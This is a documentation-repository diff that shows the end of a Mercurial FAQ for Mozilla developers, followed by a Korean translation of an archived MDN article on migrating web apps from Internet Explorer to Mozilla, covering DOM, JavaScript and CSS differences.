+| o  7735c00eabe9 - Chris Jones <jones.chris.g@gmail.com> - Bug 582057, part d: Simplify nsView::LoadWidget and return early if it fails. r=roc
+| |
+| o  7b17bcefb174 - Chris Jones <jones.chris.g@gmail.com> - Bug 582057, part c: Initialize default widget init data earlier so that it's always available. r=roc
+| |
+| o  c5945b6a97ed - Chris Jones <jones.chris.g@gmail.com> - Bug 582057, part b: Remove nsIDeviceContext::SupportsNativeWidgets because it's not used meaningfully, and will be confusing in content processes. sr=roc
+| |
+| o  5452db293694 - Chris Jones <jones.chris.g@gmail.com> - Bug 582057, part a: Add nsIView::Impl() and nsView::CreateWidget() to get rid of |static_cast<nsview*>(this)|. r=roc
+| |
+| o  9407827b5166 - Chris Jones <jones.chris.g@gmail.com> - Bug 582075, part 0.5: Add support for aInitData=NULL to the Windows nsWindow implementation. r=dougt
+| |
+| o  88a279b64473 - Chris Jones <jones.chris.g@gmail.com> - Bug 582057, part 0: Log the repaint region bounding rect in DumpPaintEvent. r=roc
+| |
+| o  cebb111fbfc4 - Robert O'Callahan <roc@ocallahan.org> - Bug 585817. Part 3: Remove nsSVGUtils::GetThebesComputationalSurface and use gfxPlatform::ScreenReferenceSurface instead. r=jwatt
+| |
+| o  7b3726c3a580 - Robert O'Callahan <roc@ocallahan.org> - Bug 585817. Part 2: Change nsIPresShell::CreateRenderingContext to GetReferenceRenderingContext, that uses the shared 1x1 surface, and use it all over the place. r=mats,sr=dbaron
+| |
+| o  b3e968d831ec - Robert O'Callahan <roc@ocallahan.org> - Bug 585817. Part 1: Create a single static 1x1 surface in gfxPlatform that can be used to create contexts for text measurement etc. r=vlad
+| |
+| o  55ef0e0529bc - Mounir Lamouri <mounir.lamouri@gmail.com> - Bug 506554 - Implement the CSS3 pseudo-classes :required and :optional for HTML. r=sicking sr=bz a2.0=blocking
+| |
+$ hg out
+comparing with http://hg.mozilla.org/mozilla-central
+searching for changes
+1767c1fb9418 - Chris Jones <jones.chris.g@gmail.com> - Back out bug 585817 and bug 582057
+8fccc434c295 - Chris Jones <jones.chris.g@gmail.com> - Merge backout
+</int></int>
+
+

Maintaining a branch of mozilla-central

+

Let foo be the project you are working on. We assume that the project directory will be http://hg.mozilla.org/projects/foo and is a branch of mozilla-central. We also assume that you want to push some patches on foo and periodically synchronize both repositories.

+

Modify hgrc

+

To make things simpler, you can modify the hgrc file in the repository. You can find it here: /path/to/repository/.hg/hgrc

+

Change it to:

+
[paths]
+default = http://hg.mozilla.org/projects/foo
+m-c = ssh://hg.mozilla.org/mozilla-central
+default-push = ssh://hg.mozilla.org/projects/foo
+
+

Synchronize mozilla-central and foo project

+

You can push to foo as you would push to any repository but you might want to keep in sync both repositories. To do that, you can run these commands:

+
hg pull -u   # Get all the changes to foo in your repo.
+hg pull m-c  # Get all the changes to mozilla-central in your repo.
+hg merge     # Here, the things might be complex and would need extra carefulness.
+# resolve merge conflicts, if any
+hg commit -m "Merge foo with mozilla-central."
+hg push      # Push the merge to foo.
+hg push m-c  # Push the changes to mozilla-central.
+
+

Help

+

Help, I can't push!

+

If you're trying to push, and you can't, first try this:

+
$ ssh hg.mozilla.org
+
+

If you see output like:

+
Permission denied (publickey,gssapi-with-mic).
+
+

it may have the following reasons:

+ +

If you see output like:

+
You are not allowed to use this system, go away!
+
+

then you need to file a bug in mozilla.org:Server Operations.

+

You should expect the ssh command to disconnect you immediately, since you're not supposed to have shell access. It may give the output:

+
Could not chdir to home directory : No such file or directory
+
+

which is harmless (although some people see it and some people don't).

+

If you see output like:

+
ssl required
+
+

then you need to configure your default-push correctly.

+

Branch merges

+

As part of the rapid release process, the contents of e.g. mozilla-aurora and mozilla-beta are subject to merge events that happen according to the planned branch migration dates. After a branch merge event occurred, if you attempt to use "hg update" in your local tree, you may get error messages such as "abort: crosses branches". In order to fix it, first make sure you don't have local changes, then run "hg update -C -r default".

+

Other

+

What's the difference between hg pull and hg update?

+

hg-diagram.png

+

hg pull copies changesets from one repository to another.  It only brings changes into your local repository, not your working copy.  It will touch the network if you're pulling from a remote repository.

+

hg update updates your working copy.  It only modifies your working copy.  It will not touch the network (unless your directory is on a network filesystem).

+

How does Mercurial handle line endings?

+

The Windows version of Mercurial does not automatically convert line endings between Windows and Unix styles. All our repositories use Unix line endings. We need a story for Windows, but right now I have no ideas.

+

(How about a pre-commit hook that rejects pushes containing CR with a suitably informative error message? We possibly want to make exceptions for certain types of files (at least binary files of course), but we can tweak the hook as necessary as these crop up. Mercurial 1.0 adds a standard hook for this in the win32text extension that we could use/adapt. --jwatt)

+

See Also

+ +

{{ languages( { "es": "es/FAQ_de_Mercurial" } ) }}

diff --git a/files/ko/migrate_apps_from_internet_explorer_to_mozilla/index.html b/files/ko/migrate_apps_from_internet_explorer_to_mozilla/index.html new file mode 100644 index 0000000000..dfec60681c --- /dev/null +++ b/files/ko/migrate_apps_from_internet_explorer_to_mozilla/index.html @@ -0,0 +1,1058 @@ +--- +title: Migrate apps from Internet Explorer to Mozilla +slug: Migrate_apps_from_Internet_Explorer_to_Mozilla +tags: + - Web Development +translation_of: Archive/Mozilla/Migrate_apps_from_Internet_Explorer_to_Mozilla +--- +

소개

+

넷스케이프가 Mozilla 브라우저를 시작할때 부터 Mozilla는 W3C 표준을 지원하기로 결정되었다. 그 결과 Mozilla는 Netscape Navigator 4.x와 Microsoft Internet Explorer의 구형 코드와는 완전한 하위호환성을 가지지 못하게 되었다. 예를 들어, 뒤에서 언급하겠지만 Mozilla는 <layer>를 지원하지 않는다. W3C 표준의 개념 이전에 만들어진 IE 4와 같은 브라우저들은 많은 쿼크들을 물려받았다. 본 글에서는 IE와 기타 구형 브라우저들과의 강력한 HTML 하위 호환성을 제공하는 Mozilla의 쿼크 모드에 관해 알아볼 것이다.

+

또한 XMLHttpRequest와 리치 텍스트 편집과 같은, 당시에는 W3C에 이에 상응하는 것이 존재하지 않았기 때문에 Mozilla가 지원하는 비표준 기술에 대해서도 언급하겠다. 그것은 다음을 포함한다:

+ +

일반적인 크로스 브라우저 코딩 팁

+

웹표준이 존재하긴 하지만, 서로다른 브라우저는 서로 다르게 작동한다. (사실, 같은 브라우저라도 플랫폼에 따라 다르게 작동한다.) IE와 같은 많은 브라우저들이 W3C 이전의 API들도 지원하며 W3C 적용 API들에 대한 확장된 지원을 추가하지 않았다.

+

Mozilla와 IE 사이의 차이점을 논하기 전에, 추후 새로운 브라우저를 지원할 수 있도록 확장성있는 웹 어플리케이션을 만들 수 있는 기본적인 방법을 다루도록 하겠다.

+

서로 다른 브라우저들이 가끔 같은 기능에 대해 서로 다른 API를 사용하기 때문에, 브라우저들간에 구별을 위해 코드 전반적으로 여러개의 if() else() 블록을 사용하는 것을 종종 볼 수 있다. 다음 코드는 IE를 위해 고안된 코드 블록을 보여준다.

+
. . .
+
+var elm;
+
+if (ns4)
+  elm = document.layers["myID"];
+else if (ie4)
+  elm = document.all["myID"]
+
+

위의 코드는 확장성이 없기 때문에 새로운 브라우저를 지원하고 싶으면 웹 어플리케이션 전체에 있는 이러한 블록들을 수정해야만 한다.

+

새로운 브라우저 추가를 위해 코딩을 다시하는 것을 막을 수 있는 가장 쉬운방법은 기능성을 추상화하는 것이다. 여러개의 if() else() 블록 보다는 공통적인 기능을 취하여 그 기능만으로 추상화시킴으로써 효율성을 증가시킬 수 있다. 이것은 코드의 가독성을 높일 뿐만 아니라, 새로운 클라이언트에 대한 지원을 추가하는 것을 단순화 시킨다.

+
var elm = getElmById("myID");
+
+function getElmById(aID){
+  var element = null;
+
+  if (isMozilla || isIE5)
+    element = document.getElementById(aID);
+  else if (isNetscape4)
+    element = document.layers[aID];
+  else if (isIE4)
+    element = document.all[aID];
+
+  return element;
+}
+
+

위의 코드는 아직 브라우저 스니핑 혹은 사용자가 어느 브라우저를 사용하고 있는가의 문제를 안고 있다. 브라우저 스니핑은 보통 다음과 같은 useragent를 통하여 행해 진다:

+
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031016
+
+

useragent로 브라우저를 스니핑하는 것이 사용중인 브라우저에 대한 세부 정보를 제공하기는 하지만, useragents를 다루는 코드는 종종 새로운 브라우저 버전이 출시될때 실수를 일으킬 수 있으며 그래서 코드를 바꿔야 할 수도 있다.

+

브라우저의 타입에 상관없다면 (웹 어플리케이션 접근에 대해 지원되지 않는 브라우저는 이미 차단했다고 가정할때), 브라우저가 가진 기능이나 오브젝트 특성 지원으로부터 스니핑하는 것이 훨씬 더 좋고 더욱 신뢰성이 있다. 이것은 보통 자바스크립트에서 필요한 기능이 존재하는지를 검사해보는 것으로 행해진다. 예를들면 다음보다는:

+
if (isMozilla || isIE5)
+
+

이것을 사용하는 것이다:

+
if (document.getElementById)
+
+

이는 Opera와 Safari같이 W3C 표준 메소드를 지원하는 다른 브라우저들이 아무런 수정을 하지 않고도 작동할 수 있게 한다.

+

그러나 useragent 스니핑은 브라우저가 웹 어플리케이션의 버전 요구사항을 만족시키는지를 검사할때나 버그와 관련한 작업과 같이 정확도가 중요할때 의미가 있다.

+

자바스크립트는 인라인 조건문도 허용하는데 이것은 코드 가독성을 증가시킨다:

+
var foo = (condition) ? conditionIsTrue : conditionIsFalse;
+
+

예를 들면, 엘리먼트를 얻기 위해 다음을 사용한다:

+
+function getElement(aID){
+  return (document.getElementById) ? document.getElementById(aID)
+                                   : document.all[aID];
+}
+
+

혹은 || 연산자를 사용한 다른 방법도 있다.

+
function getElement(aID){
+  return (document.getElementById(aID)) || document.all[aID]);
+}
+
+

Mozilla와 IE 간의 차이점

+

우선 Mozilla와 IE간의 HTML이 동작하는 방법에서의 차이점 부터 알아보겠다.

+

툴팁

+

구형 브라우저들은 링크상에 툴팁을 보여주거나 툴팁의 내용으로 alt 속성 값을 사용함으로써 툴팁을 도입했다. 최근의 W3C HTML 스펙은 title 속성을 만들었는데 이것은 링크의 세부 설명을 포함할 수 있다. 오늘 날의 브라우저들은 툴팁을 보여주기 위해 title 속성을 사용할 것이다. 그리고 Mozilla는 title 속성으로 툴팁을 보여주는 것만을 지원하며 alt 속성은 지원하지 않는다.

+

엔티티

+

HTML 마크업은 몇몇 엔티티를 포함할 수 있는데, 이 엔티티는 W3C 웹 표준 본문에 정의되어 있다. 엔티티는 숫자형이나 캐릭터 레퍼런스로 참조될 수 있다. 예를 들면, 공백 문자 #160은 &#160; 또는 동등한 캐릭터 레퍼런스인 &nbsp;로 참조될 수 있다.

+

IE와 같은 몇몇 오래된 브라우저들은 보통의 텍스트 컨텐츠의 끝에서 ;(세미콜론)을 생략하여 엔티티를 사용하는 것을 가능하게 하는 쿼크들을 가지고 있었다.

+
&nbsp Foo
+&nbsp&nbsp Foo
+
+

IE는 비록 W3C 스펙에 어긋나기는 하지만 위의 &nbsp를 공백으로 렌더링한다. 브라우저는 만약 바로 직후에 다른 문자가 오면 &nbsp를 파싱하지 않는다. 예를들면,

+
&nbsp12345
+
+

이 코드는 Mozilla에서는 동작하지 않는다. 왜냐하면 W3C 웹표준에 어긋나기 때문이다. 브라우저간의 불일치를 피하려면 항상 정확한 형식(&nbsp;)을 사용하라.

+

DOM 차이

+

Document Object Model (DOM)은 문서 엘리먼트를 포함하고 있는 트리구조이다. W3C가 표준화한 자바스크립트 API로 이것을 조작할 수 있다. 그러나, W3C 표준화 이전에 넷스케이프 4와 IE 4는 유사하게 API를 구현했다. Mozilla는 W3C 웹표준으로 이룰 수 없는 경우에만 구식 API를 구현했다.

+

엘리먼트 접근

+

크로스 브라우저 접근법을 사용해서 엘리먼트 레퍼런스를 탐색하기 위해서는 document.getElementById(aID)를 사용하는데, 이것은 IE 5.0+, Mozilla기반 브라우저, 그리고 다른 W3C 적용 브라우저들에서 작동하며 DOM Level 1 스펙의 일부이다.

+

Mozilla는 document.elementName이라던지 엘리먼트의 name을 통해서 접근하는 방법을 지원하지 않는 반면에 IE는 이를 지원한다. (global namespace polluting이라고도 부른다.) Mozilla는 넷스케이프 4의 document.layers 메소드나 IE의 document.all 메소드도 지원하지 않는다. document.getElementById가 하나의 엘리먼트를 찾아내는 방법인 반면에 document.layersdocument.all를 사용하면 모든 <div> 엘리먼트들과 같이 특정 태그명의 모든 문서 엘리먼트들의 리스트를 얻을 수 있다.

+

W3C DOM Level 1 메소드는 getElementsByTagName()을 통해 같은 태그명을 가진 모든 엘리먼트들에 대한 레퍼런스를 얻을 수 있다. 이 메소드는 자바스크립트에서 배열로 반환되며, document 엘리먼트에 호출되거나, 다른 노드들에 그 하위 구조만을 탐색하게 호출할 수 있다. DOM 트리에서 모든 엘리먼트들에 대한 배열을 얻으려면 getElementsByTagName("*")를 사용한다.

+

표 1에서 보는 바와 같이, DOM Level 1 메소드는 엘리먼트를 특정 위치로 옮기거나 (메뉴, 에니메이션 등을) 보이게 혹은 안보이게 하는데 공통적으로 쓰인다. 넷스케이프 4는 Mozilla가 지원하지 않는 <layer>태그를 아무곳에나 위치시킬 수 있는 HTML 엘리먼트로사용했다. Mozilla에서는 <div> 태그를 사용하여 어떠한 엘리먼트라도 위치시킬 수 있는데, 이것은 IE도 잘 사용되며 HTML 스펙에 나와있는 것이다.

+ + + + + + + + + + + + + + + + +
+ 표 1. Methods used to access elements
MethodDescription
document.getElementById( aId )Returns a reference to the element with the specified ID.
document.getElementsByTagName( aTagName )Returns an array of elements with the specified name in the document.
+

DOM 탐색

+

Mozilla는 자바스크립트를 통하여 DOM 트리를 탐색하는 W3C DOM API를 지원한다(표 2 참조). 이 API는 문서 내에 있는 각 노드들에 대해 존재하고 아무 방향으로나 탐색하는 것이 가능하다. IE도 이 API들을 잘 지원하지만 IE는 children 속성처럼 DOM 트리를 탐색할 수 있는 구식 API들도 역시 지원한다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ 표 2. Methods used to traverse the DOM
Property/MethodDescription
childNodesReturns an array of all child nodes of the element.
firstChildReturns the first child node of the element.
getAttribute( aAttributeName )Returns the value for the specified attribute.
hasAttribute( aAttributeName )Returns a boolean stating if the current node has an attribute defined with the specified name.
hasChildNodes()Returns a boolean stating whether the current node has any child nodes.
lastChildReturns the last child node of the element.
nextSiblingReturns the node immediately following the current one.
nodeNameReturns the name of the current node as a string.
nodeTypeReturns the type of the current node. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ValueDescription
1Element Node
2Attribute Node
3Text Node
4CDATA Section Node
5Entity Reference Node
6Entity Node
7Processing Instruction Node
8Comment Node
9Document Node
10Document Type Node
11Document Fragment Node
12Notation Node
+
nodeValueReturns the value of the current node. For nodes that contain text, such as text and comment nodes, it will return their string value. For attribute nodes, the attribute value is returned. For all other nodes, null is returned.
ownerDocumentReturns the document object containing the current node.
parentNodeReturns the parent node of the current node.
previousSiblingReturns the node immediately preceding the current one.
removeAttribute( aName )Removes the specified attribute from the current node.
setAttribute( aName, aValue )Sets the value of the specified attribute with the specified value.
+

IE는 비표준 쿼크를 가지는데 이들 API의 많은 수가 뉴라인 같이 생성된 공백 텍스트 노드를 무시한다. Mozilla는 이를 무시하지 않는다. 그래서 가끔씩 이들 노드를 구별해 줄 필요가 있다. 모든 노드들은 노드 타입을 지정하는 nodeType 속성을 가지고 있다. 예를 들어, 엘리먼트 노드는 타입 1이고 텍스트 노드는 타입 3이며 주석 노드는 타입 8이다. 엘리먼트 노드만을 처리하기 위한 가장 좋은 방법은 모든 자식 노드들을 순환문을 돌려서 nodeType이 1인 노드들만 처리하는 것이다.

+
HTML:
+  <div id="foo">
+    <span>Test</span>
+  </div>
+
+JavaScript:
+  var myDiv = document.getElementById("foo");
+  var myChildren = myDiv.childNodes;
+  for (var i = 0; i < myChildren.length; i++) {
+    if (myChildren[i].nodeType == 1){
+      // element node
+    };
+  };
+
+

컨텐츠의 생성과 조작

+

Mozilla는 document.write, document.open, document.close와 같이 DOM에 동적으로 컨텐츠를 추가하는 구형 메소드를 지원한다. Mozilla는 IE의 innerHTML 메소드도 지원하는데 이것은 거의 모든 노드에서 호출 가능하다. 그러나, outerHTML(엘리먼트 주변에 마크업을 추가하며 표준은 없다.)와 innerText(노드의 텍스트 값을 지정하며 Mozilla에서는 textContent를 사용하여 조작가능)는 지원하지 않는다.

+

IE는 비표준이며 Mozilla에서는 지원하지 않는 몇몇 컨텐츠 조작 메소드를 가지고 있는데 여기에는 값을 추출해 내거나 텍스트를 삽입하고 getAdjacentElement, insertAdjacentHTML와 같은 노드 주변에 엘리먼트를 삽입하는 것들이 포함된다. 표3은 W3C와 Mozilla가 어떻게 컨텐츠를 조작하는지를 보여주며, 모두 어떠한 DOM 노드에서라도 사용할 수 있는 메소드들이다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ 표 3. Methods Mozilla uses to manipulate content
MethodDescription
appendChild( aNode )Creates a new child node. Returns a reference to the new child node.
cloneNode( aDeep )Makes a copy of the node it is called on and returns the copy. If aDeep is true, it copies over the node's entire subtree.
createElement( aTagName )Creates and returns a new and parentless DOM node of the type specified by aTagName.
createTextNode( aTextValue )Creates and returns a new and parentless DOM textnode with the data value specified by aTextValue.
insertBefore( aNewNode, aChildNode )Inserts aNewNode before aChildNode, which must be a child of the current node.
removeChild( aChildNode )Removes aChildNode and returns a reference to it.
replaceChild( aNewNode, aChildNode )Replaces aChildNode with aNewNode and returns a reference to the removed node.
+

도큐먼트 프래그먼트

+

실행 성능상의 이유로 현재 존재하고 있는 문서의 DOM에서 작업하기 보다 메모리 상에서 도큐먼트를 생성할 수 있다. DOM Level 1 Core는 도큐먼트 프래그먼트를 도입했는데 이것은 보통의 도큐먼트 인터페이스의 부분집합을 가지는 경량의 도큐먼트이다. 예를 들어, getElementById는 존재하지 않지만 appendChild는 존재한다. 또한 현재 존재하고 있는 도큐먼트에 쉽게 도큐먼트 프래그먼트를 추가할 수 있다.

+

Mozilla 는 document.createDocumentFragment()를 통하여 빈 도큐먼트 프래그먼트를 생성할 수 있다.

+

그러나 IE에서의 도큐먼트 프래그먼트 구현은 W3C 웹표준을 따르지 않으며 단순히 보통의 도큐먼트를 리턴한다.

+

자바스크립트 차이

+

Mozilla와 IE간의 대부분의 차이점은 보통 자바스크립트에 대한 것이다. 그러나 이러한 문제들은 DOM hook과 같이 브라우저가 자바스크립트에 대해 드러내는 API들에서는 보통 거짓이다. 두 브라우저간 코어 자바스크립트의 차이점은 거의 없다. 문제는 타이밍 관련된 이슈에서 종종 생긴다.

+

자바스크립트 날짜 차이

+

단하나의 Date 차이점은 getYear 메소드이다. ECMAScript 스펙(자바스크립트가 따르는 명세)에 따르면 이 메소드는 2004년에 new Date().getYear()를 실행시키면 "104"를 리턴한다. ECMAScript 스펙에 따르면 getYear는 해당년도에서 1900을 뺀 수를 리턴한다. 이것은 본래 1998년에 대해 "98"을 리턴하는 의미였다. getYear는 ECMAScript 버전3에서 deprecated되었고 getFullYear()로 교체되었다. IE는 Netscape 4(포함) 이전 버전과 비슷하게 1900-1999년인 경우 연도에서 1900을 뺀 값을 다른 연도는 그대로를 반환(즉, 1999년인 경우 getYear()는 99를 2000년인 경우 2000을 반환한다)하는 못쓰게 된 비헤비어 getYear()를 쓴다.

+

자바스크립트 실행 차이

+

서로다른 브라우저는 자바스크립트를 다르게 실행한다. 예를 들어, 다음 코드는 script 코드 실행 시점에 DOM 내에 div 노드가 이미 존재하고 있음을 가정한다.

+
...
+<div id="foo">Loading...</div>
+
+<script>
+  document.getElementById("foo").innerHTML = "Done.";
+</script>
+
+

그러나, 이것은 보장할 수 없다. 모든 엘리먼트가 존재함을 보장하기 위해서는 <body>태그에 onload 이벤트 핸들러를 사용해야 한다.

+
<body onload="doFinish();">
+
+<div id="foo">Loading...</div>
+
+<script>
+  function doFinish() {
+    var element = document.getElementById("foo");
+    element.innerHTML = "Done.";
+  }
+</script>
+...
+
+

이러한 타이밍 관련 문제에는 하드웨어도 역시 관련된다. 느린 시스템에서는 빠른 시스템에서 감춰지는 버그들이 드러날 수 있다. 확실한 예 중의 하나는 새 윈도우를 여는 window.open이다.

+
<script>
+  function doOpenWindow(){
+    var myWindow = window.open("about:blank");
+    myWindow.location.href = "http://www.ibm.com";
+  }
+</script>
+
+

위의 코드가 갖고 있는 문제는 window.open이 비동기라는 것이다. 이것은 윈도우가 로딩을 마칠때 까지 자바스크립트 실행을 차단해 놓지 않는다. 그러므로, 새 윈도우가 뜨기도 전에 window.open 라인의 다음 라인이 실행될 수가 있다. 이것은 새 창에서 onload 핸들러를 가지게 하고 (window.opener를 사용하여) 새 창을 연 윈도우로 콜백 실행을 하게 하여 해결할 수 있다.

+

자바스크립트가 생성하는 HTML의 차이

+

자바스크립트는 document.write를 사용하여 문자열에서 HTML을 생성해낼 수 있다. 여기에서의 주요 문제는 HTML 문서 내부에 포함된 (즉, <script> 태그 내부의) 자바 스크립트가 <script>태그를 포함한 HTML을 생성하는 경우이다. 만약 문서가 strict 렌더링 모드라면 문자열 내부의 </script> 태그를 바깥쪽의 <script>에 대한 닫는 태그로서 파싱할 것이다. 다음 코드는 이것을 가장 잘 설명한다.

+
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+...
+<script>
+  document.write("<script type='text/javascript'>alert('Hello');</script>")
+</script>
+
+

페이지가 strict 모드이므로, Mozilla의 파서는 첫번째 <script>를 보고 이에 대한 닫는 태그를 찾을때까지, 즉 첫번째 </script>를 찾을때까지 파싱한다. 이것은 파서가 strict 모드일때 자바스크립트 (혹은 다른 언어)에 관해 모르기 때문이다. 쿼크 모드에서 파서는 파싱시 (느려짐) 자바스크립트에 대해 알고 있다. IE는 항상 쿼크 모드이다 그래서 IE는 진정한 XHTML을 지원하지 않는다. 이것을 Mozilla의 strict 모드에서 작동하게 하려면 문자열을 두부분으로 분리한다:

+
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+...
+<script>
+  document.write("<script type='text\/javascript'>alert('Hello');</" + "script>")
+</script>
+
+

자바스크립트 디버깅

+

Mozilla는 IE를 위해 만들어진 어플리케이션들에서 발견되는 자바스크립트 관련 문제들을 디버깅할 수 있는 몇가지 방법을 제공한다. 첫번째 툴은 그림 1에서 보는 것처럼 내장된 자바스크립트 콘솔이다. 여기에는 에러와 경고가 표시된다. Mozilla에서 도구 -> Web Development -> JavaScript Console를 실행하거나 파이어폭스 (Mozilla에서 나온 단독 브라우저 제품)에서는 도구 -> JavaScript Console를 실행한다.

+

그림 1. JavaScript 콘솔

+

Javascript 콘솔

+

자바스크립트 콘솔은 에러나 경고, 혹은 메시지에 대한 전체 기록 목록을 보여줄 수 있다. 그림 1의 에러 메시지는 aol.com의 95번째 라인이 is_ns70이라는 정의되지 않은 변수를 접근하려한다는 것을 알려준다. 링크를 클릭하면 Mozilla의 내부 소스보기 창이 열리고 해당 라인이 하이라이트되어 있을 것이다.

+

콘솔에서는 자바스크립트를 실행할 수도 있다. 입력한 자바스크립트 문법을 실행하려면 그림 2처럼 입력창에 1+1을 치고 Evaluate를 누르면 된다.

+

그림 2. JavaScript console evaluating

+

JavaScript Console evaluating

+

Mozilla의 자바스크립트 엔진은 디버깅에 대한 내장된 지원을 하므로 자바스크립트 개발자들에게 강력한 툴을 제공할 수 있다. 그림 3에 있는 Venkman은 Mozilla에 통합된 강력한 크로스 플랫폼 자바스크립트 디버거이다. 이것은 보통 Mozilla 릴리즈에 포함된다. 도구 -> Web Development -> JavaScript Debugger로 가면 찾을 수 있다. 파이어 폭스에서는 이 디버거가 포함되어 있지 않다. 대신에 Venkman Project Page에서 다운로드 받아 설치할 수 있다. Venkman Development Page에 있는 개발 관련 페이지에서는 튜토리얼도 찾을 수 있다.

+

그림 3. Mozilla의 JavaScript 디버거

+

Mozilla의 JavaScript 디버거

+

자바스크립트 디버거는 Mozilla 브라우저 창에서 실행중인 자바스크립트를 디버깅할 수 있다. 이것은 breakpoint관리, call stack inspection 혹은 variable/object inspection과 같은 표준 디버깅 기능들을 지원한다. 모든 기능들은 사용자 인터페이스를 통하거나 디버거의 대화 콘솔을 통하여 접근할 수 있다. 콘솔을 사용하면 현재 디버깅하는 자바스크립트와 같은 스코프에서 임시적인 자바스크립트를 실행시킬 수 있다.

+

CSS 차이

+

Mozilla 기반의 제품군은 IE를 비롯한 다른 브라우저에 비해 CSS1, CSS2.1 및 CSS3 일부를 포함한 CSS를 강력하게 지원한다.

+

아래에 설명하는 대부분의 문제들에 대해, Mozilla는 자바스크립트 콘솔에 에러나 경고 메시지를 표시할 것이다. 만약 CSS 관련 문제에 직면하게 되면 자바스크립트 콘솔을 확인하라.

+

Mimetypes (CSS 파일이 적용되지 않을시)

+

가장 일반적인 CSS관련 문제는 참조된 CSS 파일 내부에 있는 CSS 정의가 적용되지 않는 것이다. 이것은 보통 서버가 CSS 파일에 대한 틀린 마임타입을 보낼 때 생기는 문제이다. CSS 스펙을 보면 CSS 파일은 반드시 text/css 마임타입으로 취급되게 되어 있다. Mozilla는 웹페이지가 strict 표준 모드일때 이러한 마임타입을 찾을 것이며 이러한 마임타입 일때만 CSS파일을 로드한다. IE는 어떠한 마임타입이라도 상관없이 항상 CSS파일을 로드한다. 웹페이지는 strict doctype으로 시작될때 strict 표준모드로 여겨진다. 이 문제를 해결하기 위해서는 서버가 올바른 마임타입을 보내게 하거나 doctype을 제거한다. doctype에 관한 자세한 내용은 다음 섹션에서 살펴보도록 하겠다.

+

CSS와 단위

+

많은 웹어플리케이션들이 CSS에서 단위를 사용하지 않는데, 특히 자바스크립트로 CSS를 설정할때가 그렇다. Mozilla는 페이지가 strict 모드가 아닌한 이를 참고 넘어간다. IE는 진정한 XHTML을 지원하지 않기 때문에 단위가 표시되지 않아도 상관하지 않는다. 만약 페이지가 strict 표준모드인데 단위가 쓰이지 않았다면 Mozilla는 해당 스타일을 무시한다:

+
<DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+  "http://www.w3.org/TR/html4/strict.dtd">
+<html>
+  <head>
+   <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
+   <title>CSS and units example</title>
+  </head>
+  <body>
+    // works in strict mode
+    <div style="width: 40px; border: 1px solid black;">
+      Text
+    </div>
+
+    // will fail in strict mode
+    <div style="width: 40; border: 1px solid black;">
+      Text
+    </div>
+  </body>
+</html>
+
+

위 예제는 strict dcotype을 가지므로 본 페이지는 strict 표준 모드로 렌더링된다. 첫번째 div는 단위가 쓰였기 때문에 40px의 너비를 갖는다. 그러나 두번째 div는 너비값이 지정 안되어 기본값인 100%의 너비를 갖게된다. 이것은 자바스크립트를 통해 설정되었을때도 마찬가지다.

+

JavaScript 와 CSS

+

Mozilla는 CSS표준을 지원하므로, 자바스크립트로 CSS를 지정할때 CSS DOM 표준도 역시 지원한다. 임의의 엘리먼트의 style 멤버를 통해 엘리먼트의 CSS 룰에 접근하거나 삭제, 변경할 수 있다:

+
<div id="myDiv" style="border: 1px solid black;">
+  Text
+</div>
+
+<script>
+  var myElm = document.getElementById("myDiv");
+  myElm.style.width = "40px";
+</script>
+
+

이러한 방식으로 모든 CSS 속성에 접근할 수 있다. 만약 웹페이지가 strict 모드라면 단위를 지정해야 하며, 그렇지 않을 시 Mozilla는 해당 명령을 무시한다. Mozilla와 IE에서 .style.width를 통해 값을 얻으면 반환된 값은 단위를 포함하며, 이는 문자열이 반환됨을 의미한다. 이 문자열은 parseFloat("40px")을 통해 숫자로 변환할 수 있다.

+

CSS 오버플로우 차이

+

CSS는 오버플로우에 대한 표기를 추가했는데 이것은 오버플로우를 어떻게 처리할 것인가를 정의할 수 있게 해준다. 예를들어 그 높이보다 더 긴 컨텐츠를 갖는 div와 같은 경우이다. CSS 표준에서는 이경우에 오버플로우 속성이 지정되지 않았다면 div 컨텐츠는 오버플로우 된다고 정의한다. 그러나, IE는 이를 지키지 않고 컨텐츠를 담을 수 있을 만큼 div의 높이를 확장한다. 아래는 이 차이를 보여주는 예제다.

+
<div style="height: 100px; border: 1px solid black;">
+  <div style="height: 150px; border: 1px solid red; margin: 10px;">
+    a
+  </div>
+</div>
+
+

그림 4에서 볼 수 있듯이, Mozilla는 W3C 표준이 정의한대로 행동한다. W3C 표준에서 이경우에, 안쪽 div는 그 부모보다 높이가 크므로 bottom에서 오버플로우된다고 되어 있다. 만약 IE 쪽의 행동이 더 마음에 든다면, 단순히 바깥쪽 엘리먼트의 높이를 지정하지 않으면 된다.

+

그림 4. DIV overflow

+

DIV Overflow

+

hover 차이

+

IE에서의 비표준 CSS hover 작동이 소수의 웹사이트에서 일어난다. Mozilla에서는 보통 텍스트 위에 hover되었을때 그 텍스트 스타일을 변경하므로써 그 자체를 명확히하지만, IE에서는 그렇지 않다. 이것은 IE에서는 a:hover에 대한 CSS 셀렉터가 <a name="">...</a>가 아닌 <a href="">...</a>에 매치되기 때문이다. 다음의 텍스트는 그 영역을 앵커 태그로 감쌌기 때문에 변화가 일어날 것이다:

+
CSS:
+  a:hover {color: green;}
+
+HTML:
+  <a href="foo.com">This text should turn green when you hover over it.</a>
+
+  <a name="anchor-name">
+    This text should change color when hovered over, but doesn't
+    in Internet Explorer.
+  </a>
+
+

Mozilla는 CSS 스펙을 정확하게 따르며 이 예제에서 색깔은 녹색으로 바뀔것이다. Mozilla가 IE처럼 행동하게 하여 hover 오버시 텍스트 색이 바뀌지 않게 하는 법은 두가지 방법이 있다:

+ +

쿼크 vs. 표준 모드

+

